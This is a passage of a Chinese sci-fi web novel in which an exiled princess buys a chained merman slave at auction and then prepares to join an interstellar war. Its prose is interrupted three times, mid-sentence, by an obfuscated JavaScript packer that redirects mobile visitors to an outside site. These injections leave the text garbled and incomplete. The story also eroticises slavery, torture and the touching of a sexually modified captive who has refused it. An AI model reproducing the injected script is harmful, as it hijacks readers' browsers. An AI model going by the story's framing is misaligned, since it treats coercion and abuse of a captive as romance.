飞船曲速推进器,能给飞船带来巨大推力,极大地加快飞船飞行速度。这个虽然很有用,但没有最高的优先级,目前他们不需要频繁在星际中移动,一两次的跃迁足够了。再者,要配合曲速引擎,还需要给飞船整体改装上更坚固的机壳,否则飞船会因无法承受这个速度带来的压力而瓦解。 禺泯星系二皇子兼常胜将军瞿曜·奥卡贝纳的亲笔兵书。在普遍以电子输入作为主体的现代社会,瞿曜皇子仍坚持练习书法,这本兵书中不但记载了他布兵之道的智慧,那虬劲有力、铁画银钩的字迹,更是一道能够陶冶情操的艺术品。 听到拍卖师介绍这样物品,栗胤口中的茶水差点喷出来。 “太离谱了,瞿曜的字怎么可能写成这样?”她随口吐槽。 坚持练习书法? 那人怕是连毛笔要怎么握都不知道。 隔壁座的人听到了她的话,鄙夷地看过来,看到的是一张被刻意掩盖得灰扑扑的、毫不起眼的脸。 那人画着精致的妆容,对着栗胤灰不溜秋的模样有股天然的优越感,嗤道:“难道你还见过瞿曜皇子不成?” “怎么不会?”栗胤懒洋洋地打了个哈欠,“他还是我未婚夫呢。” 不过,既然她的公主身份被夺,现在应该算是前未婚夫了吧。 那人像是听了什么不得了的笑话:“他要是你未婚夫,我就是奥卡贝纳皇后!” 栗胤不在意地笑笑,不想引起太多的注意力,不再搭理对方。 那人讨了个没趣,从鼻腔中哼了声,将注意力转回竞拍中心。 她看起来是瞿曜的狂热信徒,激烈地参与到竞价之中。 最后竟以一个亿信诺币的价格拍到了这本兵书。 锤音落定后,对方得意地看了栗胤一眼。 栗胤:……你高兴就好。 拍卖会热烈的氛围到底还是感染了栗胤。 想她以往作为整个虹河系最富庶皇室的公主,参加过大大小小多少次拍卖会,哪一次不是肆意竞价,满载而归? 她握住手中的竞价牌,感觉手心痒得厉害。 “接下来要竞拍的,同样是本次拍卖的重头戏。”拍卖师一挥手,身后的帷幕猛地拉开,四方的舞台灯光齐聚中心一口巨大的方形水族箱。 无人机摄像围绕着水箱缓缓旋转,所有竞拍者都能透过放大的屏幕看清水箱之中,那个因骤然聚焦的光线而慌乱,用力锤击水箱透明隔板的身影。 墨黛色的长发及腰,上身赤裸,蜜色的肌肤饱满有力,皮肤表面错落着斑驳不一的各种疤痕;而他的下半身并非双腿,赫然是一条漂亮的蓝色鱼尾。 那是怎样绮丽的颜色? 像是最澄澈的海,闪耀着粼粼波光;抑或是最蔚蓝的天空,包容着太阳的光辉。栗胤眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242902|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一亮,放下了手中的水杯,微微前倾了身子。 看到台下人惊艳的目光,拍卖师露出神秘的微笑:“——一个人鱼族的奴隶。因为身上有伤痕,以瑕疵品的价格破格出售,底价两千万信诺币。” “两千五百万!” “三千万!” “四千万!” “五千五百万!” 在竞拍价的缓慢攀升中,拍卖师语气高昂地介绍道,“众所周知,人鱼族人口稀少,只在澳绔星系的四级文明星球上发现过自然种群。尽管生存条件苛刻,需覆盖全身的净水,但他们声音动听,不论是用暴力还是用情欲,人鱼的嗓子都能回馈给你最绝妙的享受!” 为了展示商品,他将一个脉冲电流的装置扔进了水箱之中。 蓝色的电弧在水中迸裂流窜。 栗胤微微皱眉。 她做过类似的装置,了解脉冲电流对人体无害是建立在干燥的情况下,一旦放入水中,电流的威力便会放大数倍,给人带来极大的痛楚。 人鱼的身体因电流而蜷起,他咬牙忍耐了好一会儿,声音最终还是漏了出来。 如同幽泉鸣唱,松涛林泉。 即便染着痛苦的凄烈,却连这惨叫都能化作调动感官的一道佳品,促使人想要对他做更过分的事,让他不断开口,发出连绵不绝的哀号。 台下的不少买家都做出了隐晦的吞咽,继而纷纷举牌报价。 “一个亿!” “一亿两千万!” “最绝妙的是他的尾巴。”拍卖师继续煽动着众人的购买欲,操控无人机摄像头对准人鱼的尾部。 屏幕中,鱼尾碧蓝有光泽的鳞片清晰可见,如同蓝宝石般闪耀。 “这种色泽的鱼鳞,即便在人鱼族中也属罕见。据记载,当人鱼情绪波动强烈时,鱼尾会从蓝色逐渐变为红色。这条人鱼鱼尾变色的过程,就等哪个拍下他的买家,带回去慢慢欣赏了。” 什么情况下才能被称为情绪强烈? 不是极致的痛苦,就是极致的快乐。 拍卖师的话直白而露骨,人鱼在电流停下来的喘息中,狠狠地剜向拍卖师,碧蓝的眼中燃着愤怒的火光。 这张脸,也被无人机完整地拍摄了下来。 人鱼如水,长相素来温婉柔和,而这一条,眉眼深邃,嘴唇淡薄,一张脸如刀削般凛冽! 那是从骨子里带来的肃杀之气! 观众席发出低低的、被吓到的惊呼声。 竞价的速度慢了下来。 啪嗒一声,栗胤手边的水杯被她打翻了,茶水滴滴答答从桌面流下,而她却直直看着屏幕中的人鱼,对打翻的杯子浑然不觉。 人鱼奴隶的那张脸…… 真带劲啊! 眼神凌厉,身材健硕,声音更好听。刚刚拍卖师说什么来着,尾巴还会变色? 拍卖师平复了人鱼眼神带给他片刻的心惊肉跳后,咳了咳补充道:“当然,这条人鱼异常凶猛,我们不建议诸位对他进行直接接触。若要上手,请务必搭配我们附赠的高效肌肉松弛剂。给人鱼使用后,不论多顽固的个体,都会任凭你的摆布。” “两亿!” “两亿两千万!” 竞价重新回到高潮,拍卖师很满意台下的热度,按他的估算,这次这条人鱼大概能卖到五个亿的高价…… “——十亿。”台下响起一个不算响亮,却又不容忽视的女声。 栗胤举牌了。 16. 第十六章 人鱼 “十亿一次。” “十亿两次。” “十亿三次……成交!” 场馆内仿佛寂静了一瞬。 栗胤身旁那个花一亿信诺币拍下禺泯系皇子兵书的人,更是用看傻子一眼的目光看着她。 开玩笑吧,十个亿买一条奴隶观赏鱼? 要知道就连最后压轴那台机甲,他们的封顶估价也不过十亿信诺币。 栗胤举完牌子后清醒过来,她的第一反应是:机甲没了! 但既然钱都花了,再后悔也没用,还不如专心享受。 有工作人员过来询问她后续的服务事项,她提前退了场,指引工作人员将那个巨大的水族箱搬运到了她的飞船上。在设置完水族箱与飞船系统的连接程序后,工作人员还对她进行了有关人鱼饲养的细致讲解。 “人鱼的食谱和人类无异。考虑到排泄问题,我们更提倡您用营养液喂食,可以减少清洁方面的麻烦。” “虽然能在脱水的环境中呼吸生存,但人鱼的睡眠需要在水中进行,长时间离水会导致人鱼生病,这点需要注意。” “为了保护您的财产与安全,我们在人鱼身上设置了防逃脱装置,他不会离开这个特制的水族箱,请您放心。” “更多关于人鱼的事项,可以参阅这本《人鱼奴隶饲养说明书》,内含有人鱼种族特性、玩法推荐等众多内容,已经发到您的便携智脑了。” “接下来,就请您充分享受和人鱼相处的时光吧。” “嗯嗯。”栗胤心不在焉地应着,一双眼睛黏在人鱼身上挪不开。 人鱼意识到面前的女人是他的新一任主人,打量了一番视野可及的飞船内部的环境后,不再挣扎,恹恹地在水箱角落躺下。 栗胤扒在水箱的透明隔板上,毫不掩饰自己露骨的视线,双眼发亮地打量着对方。 为了便于搬运,水箱中此刻并没有水,更像是一个巨大透明的、上头没有盖的笼子。 等人鱼要休息时,再往水箱中注水,笼子就成了床铺。 许是她的视线太灼人,人鱼忍了忍,那条碧蓝的鱼尾最终还是用力甩在栗胤面前的透明隔板上,力道之大,让整个水箱都震颤了一下。 他的本意是震慑箱外的女人,却没想到对方丝毫没有被他这一击吓到,反倒露出更感兴趣的神色来。 “我叫栗胤,你叫什么?”她问道,“你是有名字的吧?” 人鱼没有理她。 栗胤在水箱周围摸索,寻找开门的按键。 全息投影的黑色小蛇靠近道:“栗胤主人,检测到有新型智能器材,是否需要我的接入?” “接入。” “好的,主人。” 黑色小蛇的投影没入水箱之中,没一会儿就接管了所有权限,向栗胤亮起开门的按键。 栗胤按下按钮,小黑开口道:“检测到开门行为,箱中水已排空。人鱼危险系数较高,请确保已经使用肌肉松弛剂。是否确认开门?” 栗胤道:“是。” 水族箱侧边的那面隔板缓缓往外打开。 栗胤走进水箱中,在人鱼边上蹲下,十指大动,一双手就要往她垂涎已久的尾巴上摸去。 刹那间,原本还丝毫不为外界所动的人鱼骤然从地上跃起,翻身将栗胤压倒在地,宽大的手掌紧紧掐住了她纤细的脖子,有力的鱼尾压住她的双腿防止她挣扎。 只要稍一用力,他就能将她的脖子掐断! “别动我。”人鱼发出低低的威胁。 他使用的是虹河系官方语言,但带着浓浓的澳绔星系地方口音。 即便是威胁的声音,也如同细密的磁力自耳畔流转全身,让身体一阵酥软。 十亿值了。栗胤想。 对方没有对他使用肌肉松弛剂就打开箱门的行为让人鱼诧异,但看到自己的买主那张年轻的脸,他将这个行为归咎于对方未经世事的天真和愚蠢。 手心的触感细腻柔软,他从未近距离接触过这种娇弱的生命,心头划过异样的感觉。 被他压在身下的女孩却仍然不显慌乱,她甚至伸出手勾起他垂落在脸旁的长发,拈在指尖把玩。 那发瀑乍一看是黑色,在灯光下,却透出翡翠般的浓稠墨绿。 “你的头发好顺滑,这个卷曲是天然的吗?我要保养这个长度的头发,可要花费不少心思呢。”她说。 那副浑然不将他的胁迫当回事的模样,让人鱼心生恼怒。 她以为他真的不敢对弱小下手?! 必须要让她尝尝苦头。 他加重了手中的力道,看着身下的女孩那张脸因缺氧而涨红,黑色的眼中泛起痛苦的水雾。 她是智人? ……那么脆弱。 她未曾做错过什么,只不过花费常人难以想象的高价,将他从带给他无限折磨的拍卖行买了下来。 而他回给她的,却是同那些人一样的残酷暴力。 “好难受啊。”她艰难地出声道。 人鱼一怔,下意识放缓了力道,很快掩饰般地凶狠道:“知道难受就别进来,也别管我。” 听闻人鱼的话,栗胤扑哧笑了:“你只想要这些?” “……什么?” “我的性命都在你手中了,我以为你会以此为要挟,换点更有价值的东西。”栗胤说,“比如,放你自由什么的。” 人鱼愣了愣,继而恼怒开口:“你明知道,我无法离开这个箱子……!” 这下轮到栗胤诧异了:“为什么不能离开?” 见她真的不明白,凶狠的假面也被戳漏了洞,人鱼沉默地放松力道,让栗胤坐起身,看到他尾巴根部那根贯穿血肉和骨骼的粗大的金属链。 原来,这就是工作人员所说的“防逃脱装置”。 它与水箱底座相连,因为这根金属链的存在,即便箱门打开,人鱼也无法离开这片被透明隔板圈禁的牢笼。 如同被封于标本中的蝴蝶。 栗胤伸手碰了碰穿透人鱼尾骨的金属链。 “小黑,这是什么材质?” “扫描中……主人,该金属链属于特殊的钨基合金,和透明水箱隔板一样,都做了加固防暴处理,即便是三级的粒子束也无法在它表面带来哪怕一丝刮痕。”人工智能答道。 “再进一级的能量束呢?” “三级以上的能量束,会有将被金属链束缚住的人鱼一同吞噬的风险。” 不好办。栗胤蹙眉想。 居然是这种级别的圈禁装置,穿透骨肉,这是彻底断绝了奴隶逃跑的可能。 要想离开这个水族箱,就只有硬生生锯开尾骨。 而这样做的代价,轻则废掉整条鱼尾,更大的可能,则是失去人鱼的生命。 他到底做了什么,会以这种规格的防暴等级拘束,还作为奴隶出售? 这么说来,拍卖师一开始说的底价两千万,还真的是甩卖价。毕竟光是这个水箱的造价,和那根穿透人鱼尾骨、却依旧能让他在金属链范围内以正常状态活动的技术,加起来都不止这个数了。 “唔——……” 耳边忽然响起一声压抑的轻喘。 栗胤因这声音酥麻了半边身子,这才发现自己的手指无意间碰到了金属链周围的人鱼尾巴。 是因为伤口的关系,这一圈鳞片格外敏感吗? 她探究地往一旁的鱼尾抚去,手腕被猛地扣住。 “我说过,不要碰我。”再三试探他的底线,人鱼的声音冷得像深海的冰,“我曾取过两任主人的性命,你想做第三个吗?” ——弑过主的奴隶,怪不得被关得这么严实。 拍卖行居然没有透露这么关键的情报,还真是为了钱无所不用其极呢。 栗胤好奇道:“我什么都没对你做,你也会杀我吗?” 为了威胁她,人鱼的脸和她凑得很近,栗胤看清了人鱼因为她那句话一闪而过的动摇。 手腕处的力道加重了,带来几乎是刺骨的疼痛。 “这一次,我先折断你的手臂,记住痛楚的话,就别再靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在天鹰星系,身体敏感度的改造是被明令禁止的。 只有失去了人权的、最低等的地下奴隶,才会被偷偷施加这样的手术,用以取悦主人。 穿在身上衣服布料的摩擦,都会让被改造者难以忍受。 他将衣难蔽体,彻底沦为□□。 她的视线在人鱼上半身错落的伤痕处划过。 在她之前的历任主人手里,这条人鱼到底经历过什么? 怪不得他那么抗拒被人靠近,不惜冒着得罪主人的风险也要打消她触碰他的念头。 怕是只要她的手一碰上他的身体,他就会溃不成军。 在心中唾弃改造人鱼身体的那些家伙,栗胤撸尾巴的动作却并未收敛。 毕竟在她面前软成一滩水的人鱼,实在是太美味了。 无论是人鱼本身,还是身体敏感度改造的奴隶,她都听交际圈的权贵们私下交流过,但她从未有机会亲自接触,也不想走地下的暗路子,通过折磨人格的方式取得这样一个仅供贵族玩乐的道具。 直到亲自触摸到,她才明白,被那些人形容得无比绝伦的性偶,确实有他们的美妙之处。 她没有主动制造奴隶是一回事,但佳肴都送到她面前了,她尝一口也是很正常的吧? 就再摸一会儿,真的只摸这一会儿…… 抱着飞船改装涂料零件、各种武器装备,身后还跟着一个搬运型机器人扛着种类繁多的食材回到飞船上的白纶和籍允,看到的就是生活区正厅中央那口巨大的透明水族箱里头,栗胤伏在那条俊美的人鱼尾部,不亦乐乎地撸着嫣红的鱼尾。 室内弥漫着人鱼湿润的喘息,如同一曲绮丽的乐章,绕在耳畔连绵不绝。 “啪嗒”一声,白纶手中的装备摔落下来,在地上散成一片。 17. 第十七章 同伴 看到同伴的身影,栗胤悠悠收回手,和他们打了声招呼。 她身旁的人鱼却仍处在难以自控的战栗中,无力地躺在地上。 在白纶和籍允靠近时,他的身体颤了一下。 原来她不是一个人…… 他的牙齿几乎要将嘴唇咬出血,做好了承受多人屈辱的准备。 “他谁啊?”人鱼听到年轻的银狼警惕地开口询问。 栗胤站起来,对他们扬起眉:“介绍一下,这是我们的新同伴!” 听到“同伴”这个形容,人鱼神色一怔。 为什么? 她大可以说自己是她的奴隶,是他们的性发泄品,不是吗? 籍允打量了一眼透明水箱:“花了多少?” 被他一眼看穿,栗胤表情讪讪,声音也比平时低了不少:“十、十亿。” “十亿信诺币?!”白纶差点跳起来,“你的机甲呢?” “咳咳、”栗胤眼神飘忽,“他比机甲更有用……” 白纶不可思议地看了眼人鱼:“他能做什么?” 他没见过机甲,是不知道机甲有什么用啦,只是之前听栗胤描述得很厉害的样子,所以他也很期待他们能有拥有一台,让他感受一下驾驶机甲的快乐。现在栗胤说人鱼比机甲更有用,没准人鱼真的很厉害呢? 栗胤绞尽脑汁地想了想:“……唱歌助兴?” 白纶:“……” 还是籍允拉回了话题,问道:“他的尾巴怎么了?” 白纶五感灵敏,抽了抽鼻子,闻到了淡淡的血腥味。他这才看到那条贯穿了人鱼尾巴的金属链,好奇地想要伸手摸去。 人鱼微不可察地往后缩了缩。 栗胤不动声色挡下了白纶的手。 “我想把这条链子拔出来,”她说,“你们有什么建议吗?” 闻言,人鱼猛地抬头,不敢置信地看着她。 从未否决过栗胤提案的籍允,却在此刻说道:“我不认为放这条人鱼自由是一个好主意。” “为什么?”栗胤问。 籍允的视线在她脖子和手腕处的红痕扫过,再望向人鱼时,眸光透过镜片暗沉如水:“一般人鱼不会用这种规格的拘禁方式,除非他身份特殊。” “是挺特别。”栗胤笑嘻嘻地,“身材特别好嘛。” 白纶看着人鱼健硕的胸膛和腹肌,暗自和自己的比较了一下,悻悻撇了撇嘴。 “非要我说得那么清楚吗?”籍允无奈地看着栗胤,“他伤了你,我认为他很危险。” “这个啊,我故意的。”栗胤不在意地摸了摸脖子,“不确认对方的底线,我也不会轻易把他当作同伴看待啊。” 籍允沉默片刻,看到人鱼的脸,带着冷意笑道:“你一厢情愿,人家未必领你的情。” 人鱼抿住唇,不发一言。 “没关系。”栗胤笑着说,“他现在和我并不是对等的关系,如果我要求他成为我的同伴,他没有拒绝的退路。” “我想要让他自己选择。 “所以,我要打开他的枷锁。 “我测试了他,但他还没测试我嘛。”栗胤看了眼人鱼,“同伴是互相选择的,我总要做出些能够让他认同我的事来,对吧?” 即便戴着掩饰原本眸色的瞳片,她说这话的时候,双眼依旧亮得惊人。 籍允深深地看了她一眼,叹了口气。 “链条穿过骨肉,要拔出金属链,只有锯开尾骨一个办法。” 他这样说,就是同意接纳人鱼了。 栗胤笑起来:“谢谢你,籍允。” 她也没忘记摸一把银狼的脑袋,“还有白纶。” 她挑的同伴,也会是他们的同伴。她很高兴他们也能接纳他。 白纶轻轻地“哼”了一声,不太友善地看着人鱼。 又多了一个引走栗胤注意力的家伙。 栗胤说:“如果锯开尾骨后马上送进修复舱,能治好吗?” “小黑。”籍允向自己的人工智能下了指令。 “检索中……”小黑很快答道,“查阅星网18924篇科研论文和报道,只有赦生制药集团在三年前研发推出的最高级的V级修复液,才有断骨再生的治疗效果。” V级以下的修复液最多能将撕裂的肌肉恢复,但尾骨若没有修复,整条人鱼尾巴也只有坏死的结果。 栗胤思考:“我们再搞点钱,去把修复液买过来?” 籍允点点头:“船上既然有修复舱,也确实应该要有V级修复液的储备。” 之前栗胤浸泡的是飞船上配备的III级修复液,在修复舱中躺了两天才好。若是换成V级修复液,或许不需要半天就能恢复如初。 当然,两者的价格也是天差地别。 或许因为商船上需要用到修复舱的大多都是警卫,这艘飞船当初的主人皮特曼根本没想着要给他们准备太好的医疗设备。 “我也去。”白纶不想在船上留守,他又不是看门犬。 悠游星的治安完善,有针对停泊飞船专门的护卫岗哨,确实不需要专门留一个人守在飞船上。 三人商量了一下后,栗胤走到人鱼身旁放下几瓶用来饱腹的营养液。 “我们很快回来。如果我能成功帮你拔出金属链,你就……”栗胤低声对他笑了一下,“告诉我你的名字,好不好?” 说完这句话,她和白纶他们一起离开了飞船。 直到飞船的舱门合上,整艘船中剩下人鱼空荡荡一人,他还没有消化方才他们话中的意思。 给奴隶用修复舱本身就是闻所未闻的事了,还要用最高级的修复液? 人鱼并不相信他们。 是新的羞辱方式吗?他暗自想。 鱼尾处隐隐残留着女孩手掌的柔软触感,在鳞片染上粉色之前,他大口吞下一瓶营养液,打散脑中乱七八糟的记忆。 营养液的醇厚口感让他错愕。 他低头看了一眼,注意到女孩给他的营养液的包装,要比他以前喝过的更精美一些。 那是栗胤特意选的高档营养液。 营养液方便应急,是星际旅行的必备之物。但栗胤再也不想回忆劣质营养液的口感,不惜花高价也要囤一批更合口味的。 人鱼的两任前主人,每一个都比栗胤富庶。但他们住着奢华的别墅,品着美味的佳肴,给他投喂的食物,却永远是最劣等的营养液。 人鱼的手指紧紧捏住营养液的瓶身,用力到指尖几乎有些泛白。 她确实是他沦为奴隶之后,对他最好的一个。 没有打骂惩罚,也没有恶语羞辱。虽然撸得他倍感羞耻,却始终没有将手往他的隐私部位伸去,甚至没有让他感到一丝不快。 人鱼凌厉的脸上划过些许茫然。 他曾发过誓,为了获得自由,会杀了所有买卖过自己的人。 他的历任主人,也都死在他的手中。 可是栗胤……栗胤和他们不一样。 飞船内很安静,甚至有些太过安静了。 人鱼在有限的水族箱内做了几套力量练习,用来维持身体的状态。 汗水滑过他浓密的眼睫,衬得他的五官愈发浓厚。他的胸膛有力地起伏着,肌肉饱胀鼓起,青筋虬现。 他不能让那身武艺生疏下来。 若是有朝一日回复自由,他还需要用自己的双手,替自己,替他的族人们报仇。 直到他耗尽力气,坐在箱底喘着气,栗胤他们还没回来。 人鱼感到了身体对水的渴望。 水箱内没有水,他就无法入睡。 前一任主人有一次外出游玩了整整一个系统月,完全忘记了他的存在。他眼睁睁看着水箱内的水一天天变得浑浊发臭,最后,连那点脏兮兮的水都没有了。 他昏死在水箱里。 旅游归来的主人命奴仆清扫水箱,再次沾到清水,他凭着一股不屈的气活了下来。 虚弱中,他听见他的主人嫌弃地抱怨他娇惯难养。 从那之后,他就有点害怕独自一人被留在没有水的水族箱中。 但他从未向任何人展露过他软弱的这一面。 徒增他在主人手中的把柄罢了。 他在水箱中蜷起身,抱住自己的鱼尾,用力遏制着身体不受控制的发抖。 “检测到人鱼生物生理状态虚弱。”虚拟的小蛇从水箱屏幕上游过,“已向主人发送信息。” 没过多久,舱门外就响起了急匆匆的脚步声。 栗胤可能也就离开了几个小时,对人鱼来说却似无止尽那么漫长。 那一瞬间,人鱼湛蓝的双眼亮起。 他意识到,他一直在期盼着栗胤回来。 “没事吧?”栗胤快步向他跑来,“啊,对不起,忘记往水箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两边相安无事几千万年,随着系统历2272年天鹰星系内战爆发伴生的科技大爆炸,经过几百年的文化辐射来到澳绔星系,在最近的一百年里,澳绔星系也迎来了属于自己的科技高速发展时期。其中,西边的伊万星与东边的里斯星以她们得天独厚的地理位置和人类分布,先后研发成功跨星际飞船,迈入二级文明星球的序列,有了属于自己的、辐射扩展的星际领土圈。 科技的发展,对稀有矿物的需求也日益增长。 小行星带所有权的分割成为了两颗二级文明星球的最大矛盾。 在日积月累矛盾的堆积下,系统历3279年,澳绔星系有史以来最大、最持久的内战爆发了。 澳绔星系战乱的新闻自然也传到了天鹰星,作为王储,栗胤还曾上过分析澳绔星系战争的走向的军事课。但因为澳绔系和天鹰系的距离太远,细节缺失太多,她的分析也无从验证。 但她至少知道澳绔星系近二十年内部战争明面上的原因,是源自西边的伊万星与东边的里斯星,两颗遥遥相对的二级文明星球向周围行星辐射开来的领土圈,对星系中间矿产丰富的小行星带归属权的争夺。 她也知道更深层的原因——一山不容二虎,伊万星和里斯星的领主,都想做澳绔星系唯一的主人。 从战力来看,里斯星占优。尤其是近两年的战争,伊万星的军队被里斯军队打得节节败退,战线往西边一退再退,几乎逼近伊万星的首都圈了。 栗胤的炻餮族军事老师曾预测过,这场战争会在五个系统年内,以伊万星的败北而结束。 白纶顺着栗胤的讲解分析道:“所以,我们要向里斯星的军队递投名状?” “锦上添花易,雪中送炭难。”栗胤指向桌上打开的立体星系地图投影的西侧,“我们要支持伊万星。” “即便对方会失败?”籍允问。 栗胤抬眼看了他一会儿,笃定开口: “我既然去了,便不会让他们失败。” 她神色中的光彩很难让籍允移开视线。 白纶困惑:“我们只有三个人,军队会看得上我们吗?” 光是澳绔星系一个星球里军队的规模,都比整个荒狱星的人口加起来还要大上数万倍。 栗胤勾唇。 “用温和的方法,他们肯定是不会待见我们的,低调行事也不是我的风格。”她的声音清晰有力,“我们去踢馆。” 18. 第十八章 踢馆 从荒狱星出来到现在,经过两个多月的星际航行,这艘商船如今的模样,恐怕它的前主人皮特曼有幸再次见到,也绝对认不出来。 外壳涂层完全换过,用的是即便贵族都觉得奢侈的反侦查金属漆,即所谓的“隐形涂料”,以“克”论价,涂满一整艘飞船的价格都能够买十架相同的星际飞船了。 船壁和引擎经过加工,能够抵抗二级以下粒子武器的攻击,承受连续三次的宇宙跃迁,速度比之前快了一倍。 内部也被彻底改造成更适合栗胤一行生活与办公的结构。 由升降梯进入飞船需要经过飞船的气闸舱,这一处双门设计是用来在宇宙空间与其他飞船和空间站对接的。为了不浪费空间,栗胤让它兼顾了车库的作用,准备停放一些能在星球上行驶的载具。受限于澳绔星系的科技,车库里如今停的是一辆兼顾了性能与装载能力的近地悬浮越野车。栗胤回想起自己曾经车库里花了不少时间和精力收集的种类繁多的名贵跑车,心头微痛,决定不再去想它们。 气闸舱的周围的墙壁后面环着实时监控的生命支持系统,长时间太空旅行时所需的空气、水、食物都在这里循环生成。怀着隐秘的私心,籍允开拓了一小块新鲜蔬菜水培区,有空了他就采摘几棵做一顿饭。栗胤对他的厨艺大为赞许,当天晚上就会对他格外热情,他的尾巴到第二天都锃油瓦亮,又酸涩又舒爽。 由此组成了飞船的下层。 通过气闸舱往上走,才是船员活动的区域。 出入口在整个飞船的正中心,一眼看到的便是飞船的中厅,被巨大的鱼缸占据了近一半的空间。照顾到人鱼的隐私,栗胤给鱼缸玻璃加了可调控变色效果,水族箱的内部也专门为人鱼装上了防水的控制面板,这样,人鱼就可以自己控制水箱中的水位和玻璃的透明度,还能通过面板连接智脑,浏览外界的消息,甚至进行娱乐消遣。 中厅角落里局促地固定着一张餐桌兼会议桌。籍允也不是每餐都亲自做,餐桌旁的料理机承担了大部分的料理任务。籍允额外花了一些时间让小黑学习七大星系的美食做法,增加了料理可选的范围和口味。 中厅往前便是驾驶舱。基本的驾驶都交由人工智能小黑进行,籍允负责监控任务,驾驶室同时也是他的智脑终端库房。为了加大小黑的算力,采购时他带着机器车搬了好几台高大的终端服务器,靠墙摆了满满一排。 整艘飞船都做了智能升级,小黑游能够走在飞船的每一面屏幕中,只要唤一声它的名字,它就能依照乘客的口头指令对飞船进行各项控制。 入口左侧是原本的警卫武器库,如今成为了栗胤和白纶的改造工作室,里头堆满了栗胤和白纶从各个地方淘来的零件。这些零件的质量可比荒狱星集市里的高出不知道多少代科技树,能够最大程度满足栗胤脑袋里各种点子的改造与制作。为了即将进行的踢馆,栗胤拉着白纶在这个房间里紧赶慢赶,终于在出发前一天把秘密道具成功做了出来。 工作室边上就是医疗室,基本维持着原先那个医疗修复舱的配置,里面配套了一个小浴室,方便伤者的清洁。 右侧房间是具有全息投影、重力拟真效果的娱乐室。皮特曼注重享乐,娱乐室造得颇为奢华,权限却只限他一人。这么宽敞的带有高重力调整模块的房间栗胤可不想浪费,涂了舱壁加固涂层后,硬是隔出了一间能模拟各种场景的对练室出来。锻炼不能荒废。 最后方那个配备了高清加固全景观星窗的超宽主卧舱,也被栗胤隔成了三个独立卧室。因为白纶和籍允每个都想要挨着她的房间,所以她睡在中间那间。 在白纶卧室的门上,栗胤回忆着荒狱星白纶家中的简笔画,用喷漆复现了大狼带着小狼的简笔画。 银狼看到这幅画时怔了好久,垂眼没说什么,但栗胤看得出来他是很开心的。 他开心就好。 第二天她出门时,却发现自己的卧室门口也多了一幅黑发金瞳小人的简笔画。 她忍不住笑出了声,将白纶按在墙上好一通rua毛。 两个人的卧室门上都有图案,就显得另一个人太可怜了,于是栗胤便在籍允的卧室门口也画了一条红色眼睛的小黑蛇。 想了想,又隔了一天,人鱼的水族箱角落也多了一条蓝色的小鱼。自从给水族箱的玻璃加了变色遮挡功能后,人鱼就一直躲在不透明的水箱里,那天却破天荒地让玻璃透明了一整天,碧蓝的瞳孔中映着他们在飞船内部忙碌的身影,眸光粼粼。 改造整理花了一周,飞船修养得差不多了,他们前往既定的目的地。近一个系统日的短途飞行后,栗胤一行的飞船在伊万星降落。 栗胤身上穿着花重金购置的高定黑裙。她戴着墨镜,往被暗色粉底抹得看不出原本模样的脸上涂上艳红的唇膏,即便那张脸姿色平平,气场也陡然增强了许多。 又从工作室中取出那把她和白纶花费好久完成的伞状模样的道具放入背包中,她拉开越野车后座的车门:“走吧。” 后座已经坐了一身警卫制服、戴着金属面罩的獒尼族,一蓝一灰的双瞳明亮地注视着她。 司机位置上,佘磷族的男人戴着白色手套,穿着笔挺的黑色西装,黑亮的蛇尾隐秘又危险地环在腰上。 “有事的话,就通过终端联系我。”栗胤出发前这么对人鱼说。 籍允走在栗胤身后,回头看了眼,人鱼对着栗胤的背影,脸上露出怔忪的表情。 黑蛇勾了勾唇,眸光浅淡。 只怕栗胤现在无论对那条人鱼提出多么过分的要求,他都会咬牙答应的。 她分明也很清楚这一点,却一字不提。 她对人鱼的纵容,让他都有些嫉妒了。 但他也不会开口挑明。正如栗胤所言,人鱼如今和他们并不在相等的位置。 只有等那条人鱼自由后,他才能公平地和对方竞争,被栗胤注视的时间。 伊万星作为澳绔星系唯二的二级文明星球,比边陲集市般的悠游星要更繁华一些,星球外圈的飞船停泊港巨大而壮观,仿若宇宙中绽开的金属花环。籍允做的身份毫无破绽,三人顺利过了海关安检,成为伊万星普通观光游客的一员。 然而他们此行并非观光,出了海关口便驱车向着这颗星球最荒无人烟的地方前进。 伊万星军事基地的位置坐标经过重重加密,却拦不住籍允的黑客技术。 越野车驶入僻静的峡谷,片刻后,面前豁然开朗,一座庞大的壁垒映入三人眼中。 面对骤然闯入警戒线的越野车,基地响起刺耳的警报,一队士兵举着枪,将车辆团团包围。 从车中走下来一个衣着华贵黑裙的女人,跟着一个警卫模样的异瞳银狼。 女人摘下墨镜,乌黑的眼中光茫流转,分明是一张普通寡淡的脸,却因她骨子里矜贵的气质与从容的姿态,仍然那么耀眼夺目。 那形状姣好诱人的红唇轻扬:“你们将军在吗?我想给他送份礼物。” 为首的士官在短暂的恍神后,当机立断,命令所有人开枪! 擅闯军事重地,格杀勿论! 像是阳光太晒了,处在包围圈中的女人姿态优雅地撑起手中的伞。 那柄伞竟只有伞骨,没有伞面。 不对,它的伞面……是透明的! 因它的透明,所以他们也就看不见,它到底有多巨大。 